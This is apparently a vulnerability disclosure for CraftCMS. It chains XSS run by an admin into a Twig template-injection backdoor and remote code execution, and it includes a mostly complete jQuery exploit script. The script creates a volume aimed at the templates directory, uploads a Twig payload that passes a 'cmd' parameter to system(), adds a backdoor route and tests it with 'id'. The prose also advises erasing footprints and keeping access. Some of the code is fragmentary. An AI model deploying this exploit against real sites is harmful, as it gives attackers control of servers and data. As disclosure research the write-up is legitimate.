CraftCMS Zero-day – SSTI + XSS triggering RCE

This article is originally published at

CraftCMS allows users to upload files via its Asset field. But the storage feature known as volume within Craft CMS can be configured to point to any directory. This ability can be exploited to upload a twig template to the templates directory. By pointing a route to the uploaded malicious twig template, we get a successful Server Side Template Injection. Using filters, we can get out of the twig sandbox and get an Arbitrary Code Execution.

Preparation for Exploitation

The vulnerability is exploited via XSS. Note that any XSS on the website (even outside of the craftCMS installation itself, as long as it’s triggering within same origin, can lead to the RCE being triggered. The CraftCMS have very little functionality in fresh installation. All the features and functionalities are developed by the developer using twig templates and plugins. For the demonstration purpose, we will use Guest Entries plugin and write own templates to build a demo site having an upload functionality.

  1. First, install the Guest Entries plugin.
  2. Now copy the following templates to your templates directory in CraftCMS installation.


{% macro errorList(errors) %}
    {% if errors %}
        <ul class="errors">
            {% for error in errors %}
                <li>{{ error }}</li>
            {% endfor %}
    {% endif %}
{% endmacro %}

{% from _self import errorList %}

<form method="post" accept-charset="UTF-8" enctype="multipart/form-data">
    {{ csrfInput() }}
    <input type="hidden" name="action" value="guest-entries/save">
    <input type="hidden" name="sectionId" value="2">
    <input type="hidden" name="enabled" value="1">
    {{ redirectInput('{uri}') }}

    <label for="title">Title</label>
    <input id="title" type="text" name="title"
        {%- if entry is defined %} value="{{ entry.title }}"{% endif -%}>

    {% if entry is defined %}
        {{ errorList(entry.getErrors('title')) }}
    {% endif %}

    <input type="file" name="fields[asset]">
    <input type="submit" value="Publish">

{% set rel = %}
{% if rel %}
    <p><a href="{{ rel.url }}">{{ rel.filename }}</a></p>

After uploading these, you can point routes to these two templates and our demo site is ready.

Proof of Concept

The exploitation starts with uploading an XSS payload that takes the following steps to upload a twig template via XSS triggered by an admin. Note that all these must be done by XSS payload script on behalf of an admin. It is not possible to exploit some functionalities as a regular user.

  1. Creates a volume that points to @config/../templates
  2. Uploads a malicious twig template within this newly created volume.
  3. Creates a route to the uploaded twig template.
  4. Invalidates cache.

Creating a Volume

CraftCMS uses a concept of volumes as its storage unit. A volume can point to a local directory or some out of sphere storage like S3 buckets. To ensure that we can execute code, we create our own volume. We point volume to @config/../templates because @config is an alias that points to config directory that sits outside the publicly accessible directory. We walk the path by appending /../templates to the alias @config and reach the templates directory. When I was testing, I thought it would be easier to upload to vendor directory and execute code. But sometimes, vendor‘s directory does not have write permissions on and we cannot upload PHP files directly.

Uploading Malicious Twig Template to gain SSTI and Code Execution

Uploading a twig or php file is not possible due to security measures in the upload feature of CraftCMS. So we upload files with other file extensions like SVG. There is some SVG sanitization but the code within curly braces survives the SVG/XML Sanitization. Within the malicious twig template, we can use twig templates filters to escape the sand box and gain code execution.

Creating a Route to our Payload

After uploading the twig template, we can point a route to our twig template that resides within the templates directory easily. The twig template does not cares about the file extension and happily load the content from our malicious twig template. The shell now lives at the route you created (In the following PoC, run commands via cmd query parameter ie. Allowing you to run any PHP code or system commands.

Invalidate Cache

As a last step, invalidating cache helps in regenerating the twig template’s cache. A backdoor route is obviously very shouting and should be removed. As a post exploitation process, you can clear all the footprints and maintain access by replacing some internal files of CraftCMS or going deep inside the OS.

Proof of Concept

The following exploit is a quick script that I wrote to report the vulnerability to the developers and it was patched in the newer version of CraftCMS.


<script src=""></script>

    // usage: exploitRCE()

    function exploitRCE(
        adminPanelUrl = '/index.php?p=admin/',
        adminPanelDefaultUrl = '/admin/',
        backdoor = 'backdoor',
        twigTemplateExt = "text/html",
        twigRCEPayload = `<p>{{ ([craft.request.getQuery('cmd')] | filter('system'))[0] }}</p>`,
        twigTemplateName = "template.html"
    ) {

scrapeData = function(featurePath, selector, callback, fallback) {
    $.get(featurePath, function (data) {
        callback($(selector, data));

exploitCsrf = function(featurePath, callback, fallback) {
    scrapeData(featurePath, "input[name=CRAFT_CSRF_TOKEN]", function(data) {
    }, fallback);

// create a volume
exploitCsrf(adminPanelDefaultUrl + 'settings/assets/volumes/new', function(csrf) {
    payload = "CRAFT_CSRF_TOKEN=" + csrf
    + "&amp;action=volumes%2Fsave-volume"
    + "&amp;redirect=e4acb1794adacc0aa0287b400df7cde18df030328e74447f4bd25d9e360a12a6settings%2Fassets"
    + "&amp;name=maintenance-backups-temporary-directory"
    + "&amp;handle=maintenanceBackupsTemporaryDirectory"
    + "&amp;hasUrls="
    + "&amp;url="
    + "&amp;type=craft%5Cvolumes%5CLocal"
    + "&amp;types%5Bcraft%5Cvolumes%5CLocal%5D%5Bpath%5D=%40config%2F..%2Ftemplates"
    + "&amp;elementPlacements="
    + "&amp;elementPlacements%5BContent%5D%5B%5D=izg2wreKxs"
    + "&amp;elementConfigs%5Bizg2wreKxs%5D=%7B%22type%22%3A%22craft%5C%5Cfieldlayoutelements%5C%5CTitleField%22%2C%22autocomplete%22%3Afalse%2C%22class%22%3Anull%2C%22size%22%3Anull%2C%22name%22%3Anull%2C%22autocorrect%22%3Atrue%2C%22autocapitalize%22%3Atrue%2C%22disabled%22%3Afalse%2C%22readonly%22%3Afalse%2C%22title%22%3Anull%2C%22placeholder%22%3Anull%2C%22step%22%3Anull%2C%22min%22%3Anull%2C%22max%22%3Anull%2C%22requirable%22%3Afalse%2C%22id%22%3Anull%2C%22containerAttributes%22%3A%5B%5D%2C%22inputContainerAttributes%22%3A%5B%5D%2C%22labelAttributes%22%3A%5B%5D%2C%22orientation%22%3Anull%2C%22label%22%3Anull%2C%22instructions%22%3Anull%2C%22tip%22%3Anull%2C%22warning%22%3Anull%2C%22width%22%3A100%7D"

        url: adminPanelUrl + 'settings/assets/volumes/new',
        type: 'POST',
        data: payload,
        success: function(data) {
            // volume created successfully, now upload the twig template
exploitCsrf(adminPanelDefaultUrl + 'assets/maintenanceBackupsTemporaryDirectory', function (csrf) {
scrapeData(adminPanelDefaultUrl + 'assets/maintenanceBackupsTemporaryDirectory', "#sidebar a[data-volume-handle='maintenanceBackupsTemporaryDirectory']", function (rawData) {
fd = new FormData();
file = new Blob([twigRCEPayload], { name: twigTemplateName, lastModified: new Date().getTime(), webkitRelativePath: "", size: 33, type: twigTemplateExt });
fd.append('assets-upload', file, twigTemplateName);
fd.append('folderId', $(rawData[0]).attr('data-folder-id'));
fd.append('CRAFT_CSRF_TOKEN', csrf);

url: adminPanelUrl + 'actions/assets/upload',
type: 'post',
processData: false,
contentType: false,
dataType: 'json',
data: fd, 
success: function(response){ 
if(response.suggestedFilename) {
// Conflict in file name
twigTemplateName = response.suggestedFilename;
if(response.assetId) {
// payload injected successfully, final step create a backdoor url

// missing CSRF token on this endpoint, but just in case if there is a fix to this CSRF,
exploitCsrf(adminPanelDefaultUrl + 'settings/routes', function (csrf) {
// check if route already exists at given endpoint
scrapeData(adminPanelDefaultUrl + 'settings/routes', '.route', function(rawData) {
$(rawData).each(function(i, el) {
if(backdoor.trim() === $(el).find('.uri-container span.uri').text().trim()) {
// route already exists, creating a random route
backdoor = backdoor + parseInt(Math.random() * 10 ** 13);

url: adminPanelUrl + 'actions/routes/save-route',
type: 'post',
headers: { 
Accept : "application/json; charset=utf-8",
data: "uriParts%5B0%5D="+ encodeURIComponent(backdoor) +"&amp;template="+ twigTemplateName +"&amp;CRAFT_CSRF_TOKEN=" + csrf,
success: function (data) {
if(data.success) {
    // Route create successfully, final step, clear the cache
    exploitCsrf(adminPanelDefaultUrl + 'utilities/clear-caches', function (csrf) {
        // invalidate cache
            url: adminPanelUrl + 'utilities/invalidate-tags',
            type: 'post',
            data: 'action=utilities%2Finvalidate-tags&amp;CRAFT_CSRF_TOKEN='+ csrf
            success: function (response) {
                if(response.success) {
                    // Payload injection complete, call backdoor to ping server about its existence
                        url: adminPanelUrl + 'actions/utilities/clear-caches-perform-action',
                        type: 'post',
                        data: 'action=utilities%2Fclear-caches-perform-action'
                            + '&amp;CRAFT_CSRF_TOKEN='+ csrf
                        success: function (response) {
                            if(response.success) {
                                // Payload injection complete, call backdoor to ping about its existence
                                $.get(document.location.origin + '/' + backdoor + '?cmd=id', function () {
                                    // successful exploitation, we can now upload a system level backdoor and remove the footprints


Proof of Concept: